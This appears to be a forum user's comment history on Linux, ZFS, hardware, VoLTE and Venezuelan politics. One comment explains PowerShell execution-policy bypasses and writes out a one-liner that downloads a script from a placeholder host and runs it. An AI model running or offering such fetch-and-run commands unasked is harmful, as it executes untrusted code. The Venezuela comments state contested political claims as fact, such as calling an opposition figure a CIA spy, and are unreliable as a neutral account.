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Joined 1 year ago
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Cake day: July 30th, 2023

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  • To me I’d consider Linux not standardized since anything outside the kernel can be swapped out. Want a GUI? There are competing standards, X vs Wayland, with multiple implementations with different feature sets. Want audio? There’s ALSA or OSS, then on top of those there is pulse audio, or jack, or pipewire. Multiple desktop environments, which don’t just change the look and feel but also how apps need to be written. Heck there are even multiple C/POSIX libraries that can be used.

    It certainly can be a strength for flexibility, and distros attempt to create a stable and reliable setup of one set of systems.


  • I once had a coworker that used a mini PC instead of a laptop for work. Being lighter, and more powerful worked well for him.

    My understanding is that each brand will contract out the design and manufacturing, with potentially totally different factories and people involved. So the same brand will have models that are built totally differently, in terms of quality and ethics. This happens from the cheapest no name products to big western brands. Make sure to check reviews for the specific model, and not blanket trust one brand to be ‘good’. Notebook check and robtech on youtube do mini PC reviews.

    I feel you on the ethics side, and unfortunately it’s pretty difficult to ever avoid. You can try buying second hand, at least save something from landfill and get a bargain.



  • ZFS doesn’t have fsck because it already does the equivalent during import, reads and scrubs. Since it’s CoW and transaction based, it can rollback to a good state after power loss. So not only does it automatically check and fix things, it’s less likely to have a problem from power loss in the first place. I’ve used it on a home NAS for 10 years, survived many power outages without a UPS. Of course things can go terribly wrong and you end up with an unrecoverable dataset, and a UPS isn’t a bad idea for any computer if you want reliability.

    Totally agree about mainline kernel inclusion, just makes everything easier and ZFS will always be a weird add-on in Linux.




  • Have a read of the National Lawyers Guild full report, they go through the US’s actions to discredit the election.

    Just a few days before the election, on Friday, July 26, 2024, a who’s who of Latin American right-wing personalities sought to enter the country on a private jet. US mainstream media portrayed this as a benign action without recognition of their previous human rights violations and their efforts to undermine Venezuelan democracy. Former Colombian Vice President Marta Lucia Ramirez, who was on the plane, has a long history of supporting campaigns to destabilize the duly elected Venezuelan government. While these individuals claim they sought to observe the election, it is unclear what training, framework, reporting mechanism, or authority they have to do so.

    Just noticed your addition to a previous comment:

    Funny how it seems like every one of these BRAVE ANTI-US NATIONS is utterly dependent on American trade to guarantee a basic standard of living for their people.

    They are a petrostate, all of their money comes from oil, nearly everything else they have to buy from other countries. Their economy was fucked when oil prices went down in 2014. The biggest buyer in the region is the USA, so when they stopped buying they were double fucked. Certainly an argument can be made that playing ball with USA is the way to go when it’s the easiest path to grow exports. Just a shame that the person to vote for that option is a CIA spy




  • International election observers found the election to be fair and valid.

    National Lawyers Guild: “The delegation observed a transparent, fair voting process with scrupulous attention to legitimacy, access to the polls, and pluralism.”

    Council of Electoral Experts of Latin America (CEELA): Venezuela has the best electoral system in Latin America, due to which Venezuelans can “vote in peace and tranquility knowing that the votes will be counted, that the will of Venezuelans will be reflected in the results declared by the National Electoral Council.”

    South Africa: “The observers condemn and dispel allegations of fraud by the Reuters media group reporting on the elections taking place in the Bolivarian Republic of Venezuela without actually being present. Claims or allegations of fraud have been found to be baseless and mischievous with Venezuela’s electoral system considered one of the best in the world.”

    They only people claiming fraud are the Americans and the losers. Unrelated fact, they both want to privatise the oil company PDVSA.



  • I’ve been using my Sennheiser HD 598 s for over 10 years. I’d recommend anything the same shape/size: being large over ears means it doesn’t touch or squeeze your ears at all. Being open backed and velvet padded stop my ears getting hot and sweaty. Being wired saves weight, prevents lag/quality concerns and isn’t too big a deal in a stationary gaming situation.

    I do need to use an external mic for chatting, which is not ideal if you’re gonna be always in voice chats when gaming. Dedicated gaming headsets tend to not sound as good for the same price, but can’t deny the convenience.

    Here is a recent rundown of recommendations by audiophile youtubers for gaming headphones might be worth watching. https://www.youtube.com/watch?v=UIwgVzSiZ68




  • Hardly. As per Microsoft,

    The execution policy isn’t a security system that restricts user actions. For example, users can easily bypass a policy by typing the script contents at the command line when they cannot run a script.

    Or you can run iwr -useb 'https://dodgy-website.com/whateverscriptyouwant.ps1' | iex to execute any script from the internet.

    Or read the file and pass it onto a new powershell process with Get-Content . whateverscriptyouwant.ps1 | PowerShell.exe -noprofile -

    Or use the built-in bypass toggle PowerShell.exe -ExecutionPolicy Bypass -File whateverscriptyouwant.ps1

    Or just actually change the execution policy for the proccess or user, via powershell or registry, because once again, it is not an access control. It is security theatre.


  • Telcos are acting like switching off 3G is no big deal, since LTE has been around since 2012, get with the times! VoLTE has only been around since 2016, and even then, was limited to approved models. And only worked if you bought the phone directly from the telco. And only if you had postpaid plan. And only if your account had a “VoLTE enable” flag set by calling them.

    To this day, when it doesn’t work phone makers and telcos will point the finger at each other, leaving customers with no clue who to chase for a solution. All parties still act like VoLTE is a nice to have and not a requirement. I really believe the rush to deploy 5G was to have the pretence to shut off 3G and force customers to buy new phones.

    I had to root my phone, then use diagnostic serial access to the Qualcomm modem and Russian software to make VoLTE work on my 5G 2020 phone. I fear BYO mobile plans are dead now, buying direct from telcos is the only way they’ll help you be able to make calls on your phone.


  • A lot of desktop motherboards have a slot for a M.2 WiFi card like that AX200. Usually though they already come with a card anyway. You can often also use the same ssd/HDDs going from laptop to desktop. CPU, RAM, and GPUs are different sizes and connectors though, and won’t be transferrable.

    Main thing for choosing a mac is the personal preference for the OS / interface. Its not totally better than Windows, there’s pros and cons. You have to really want it to pay for the overpriced hardware. Even second hand they retain a lot resale value.